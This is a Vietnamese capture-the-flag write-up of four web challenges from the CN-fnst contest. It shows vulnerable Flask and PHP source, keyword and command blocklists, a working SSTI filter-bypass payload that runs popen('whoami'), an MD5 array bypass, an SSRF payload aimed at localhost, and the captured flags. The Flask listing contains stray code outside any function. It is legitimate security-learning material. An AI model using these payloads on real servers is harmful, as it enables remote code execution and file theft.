Phân Tích Kỹ Thuật Các Lỗ Hổng Web Trong Cuộc Thi CN-fnst Lần 2

Tổng Quan

Phần thi Web trong cuộc thi này tập trung chủ yếu vào các lỗ hổng kinh điển như SSTI (Server-Side Template Injection), RCE (Remote Code Execution) thông qua bypass filter và các lỗi logic trong PHP. Hầu hết các thách thức đều yêu cầu kỹ năng đọc源码 (source code) và hiểu rõ cơ chế hoạt động của ngôn ngữ mục tiêu. Flag thường được lưu trữ trong biến môi trường hoặc các file ẩn, đòi hỏi thí sinh phải thực hiện thành công chuỗi khai thác để đọc được nội dung.

Thách Thức 1: ez_python

Đây là một ứng dụng Flask đơn giản cho phép đọc file và có điểm chèn template nguy hiểm. Ứng dụng thực hiện kiểm tra đầu vào thông qua một hàm WAF tùy chỉnh.

Phân tích mã nguồn

Qua việc đọc file nguồn, ta thấy ứng dụng sử dụng render_template_string để xử lý tham số đầu vào. Hàm kiểm tra bảo mật chỉ chặn một số từ khóa cơ bản.

from flask import Flask, request, render_template_string
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import security_filter

app = Flask(__name__)
limiter = Limiter(get_remote_address, app=app, default_limits=["300 per day", "75 per hour"])

@app.route('/')
@limiter.exempt
def home():
    target_source = request.args.get('source')
    if target_source and "proc" in target_source:
        return "Truy cập bị chặn", 200
    if target_source:
        try:
            with open(target_source, 'r') as f:
                content = f.read()
            return f"{content}"
        except Exception as e:
            return f"Lỗi: {e}"
    return "Tham số không hợp lệ"

@app.route('/execute')
@limiter.limit("10 per minute")
def execute_cmd():
    if request.args.get('user_input'):
        payload = request.args.get('user_input')
        if not security_filter.validate(payload):
            return "Phát hiện từ khóa nguy hiểm"
    template = 'Xin chào, %s' % payload
    return render_template_string(template)
some_var = 'Bạn là ai?'
return render_template_string(some_var)

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)

File security_filter.py chứa danh sách các từ khóa bị cấm:

def validate(input_data):
    blocked_keywords = ['os', 'set', '__builtins__', '=', '.', '{{', '}}', 'popen', '+', '__']
    for keyword in blocked_keywords:
        if keyword in input_data:
            return False
    return True

Khai thác

Mặc dù có giới hạn tốc độ và bộ lọc từ khóa, ta có thể sử dụng kỹ thuật SSTI kết hợp với đối tượng request để truy cập vào các lớp cơ sở mà không cần gõ trực tiếp ký tự bị cấm. Payload sử dụng các tham số GET để xây dựng chuỗi khai thác động.

/execute?user_input={%25%20print(''[request['args']['a']][request['args']['b']][request['args']['c']]()[132][request['args']['d']][request['args']['f']][request['args']['e']]('whoami')['read']())%20%25}&a=__class__&b=__base__&c=__subclasses__&d=__init__&e=popen&f=__globals__

Sau khi thực thi thành công lệnh whoami, tiếp tục dò tìm file flag và đọc nội dung:

cat f1ag_H3re11

Kết quả thu được:

flag{0241c8ed-8c99-4ca2-a0b6-54964b569049}

Thách Thức 2: ezphp

Thách thức này kiểm tra kiến thức về so sánh kiểu dữ liệu trong PHP và thực thi lệnh hệ thống.

Phân tích mã nguồn

Đoạn mã yêu cầu vượt qua hai lớp kiểm tra MD5 collision và thực thi lệnh với danh sách đen (blacklist).

<?php
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['user']) && isset($_POST['pass']) && isset($_GET['user1']) && isset($_POST['pass1']) ){
    $user = $_GET['user'];
    $user1 = $_GET['user1'];
    $pass = $_POST['pass'];
    $pass1 = $_POST['pass1'];
    // Kiểm tra va chạm MD5 lỏng
    if ($user != $pass && md5($user) == md5($pass)){
        // Kiểm tra va chạm MD5 chặt
        if ($user1 !== $pass1 && md5($user1) === md5($pass1)){
            $cmd = isset($_GET['cmd']) && !empty($_GET['cmd']) ? $_GET['cmd'] : '';
            $forbidden_commands = ['cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'read'];
            $cmd_lower = strtolower($cmd);
            foreach ($forbidden_commands as $forbidden) {
                if (strpos($cmd_lower, $forbidden) !== false) {
                    die('Access Denied');
                }
            }
            if (empty($cmd)) {
                die('Access Denied');
            }
            try {
                $output = shell_exec(escapeshellcmd($cmd));
                echo "$output";
            } catch (ValueError $e) {
                echo "Error";
            }
        }
        else{
            echo "Access Denied";
        }
    }
    else {
        echo "Access Denied";
    }
}
else {
    echo 'Parameters missing';
}
?>

Khai thác

Sử dụng mảng để bypass kiểm tra MD5 (ví dụ: user[]=1). Đối với phần thực thi lệnh, các lệnh đọc file cơ bản bị chặn, nhưng vẫn có thể sử dụng các lệnh khác như sort hoặc kỹ thuật ghi log để đọc file.

Flag thu được:

flag{a2059a27-c817-4b9a-96d6-c3faef3c2d2a}

Thách Thức 3: comment_me

Một biến thể khác của SSTI với bộ lọc ít nghiêm ngặt hơn. Điểm truy cập nhạy cảm nằm tại route /modify.

Khai thác

Sau khi gửi yêu cầu POST đến endpoint phù hợp, ta nhận thấy chỉ có dấu chấm (.) bị lọc. Điều này cho phép sử dụng các kỹ thuật SSTI tiêu chuẩn để truy cập vào đối tượng nội bộ và đọc file cấu hình hoặc flag từ biến môi trường.

Flag thu được:

flag{aeab73b2-5abf-4f5d-a223-84fbb72ad401}

Thách Thức 4: i_am_eeeeeshili

Thách thức này kết hợp giữa xử lý session, cookie và lỗ hổng SSRF (Server-Side Request Forgery).

Phân tích logic

Quan sát cookie và hành vi đăng nhập cho thấy có sự thay đổi giá trị khóa phiên làm việc. Khi thử thay đổi mật khẩu, hệ thống kiểm tra địa chỉ IP và thực hiện so sánh kiểu dữ liệu yếu (weak type comparison).

$visitor_ip = $_SERVER["REMOTE_ADDR"];
$host_ip = $_SERVER["SERVER_ADDR"];
if ($visitor_ip === $host_ip) {
    if ($_GET["param"] !== "1a" && (int)$_GET["param"] == "1a"){
        // Logic cấp quyền
        ...
    }
} else {
    echo 'Access Denied';
    echo '<script>alert("Không thể thay đổi mật khẩu!");</script>';
    die();
}

Khai thác

Để vượt qua kiểm tra IP, ta cần sử dụng SSRF để khiến máy chủ tự gọi lại chính nó (127.0.0.1). Điều kiện so sánh kiểu yếu (int)"1a" == "1a" có thể được thỏa mãn bằng cách truyền tham số phù hợp. Kết hợp với lỗi logic trong việc xử lý session, ta có thể chiếm quyền tài khoản admin hoặc đọc file trực tiếp.

Payload ví dụ:

check_http://127.0.0.1/check.php?file=./flag&a[]=1&b[]=2&c[]=1&d[]=2&e=2000864773

Flag thu được sau khi giải mã và truy cập thành công:

flag{...} (Nội dung flag cụ thể nằm trong môi trường thi)

Thẻ: cn-fnst flask-ssti php-rce ssrf web-security

Đăng vào ngày 4 tháng 7 lúc 18:52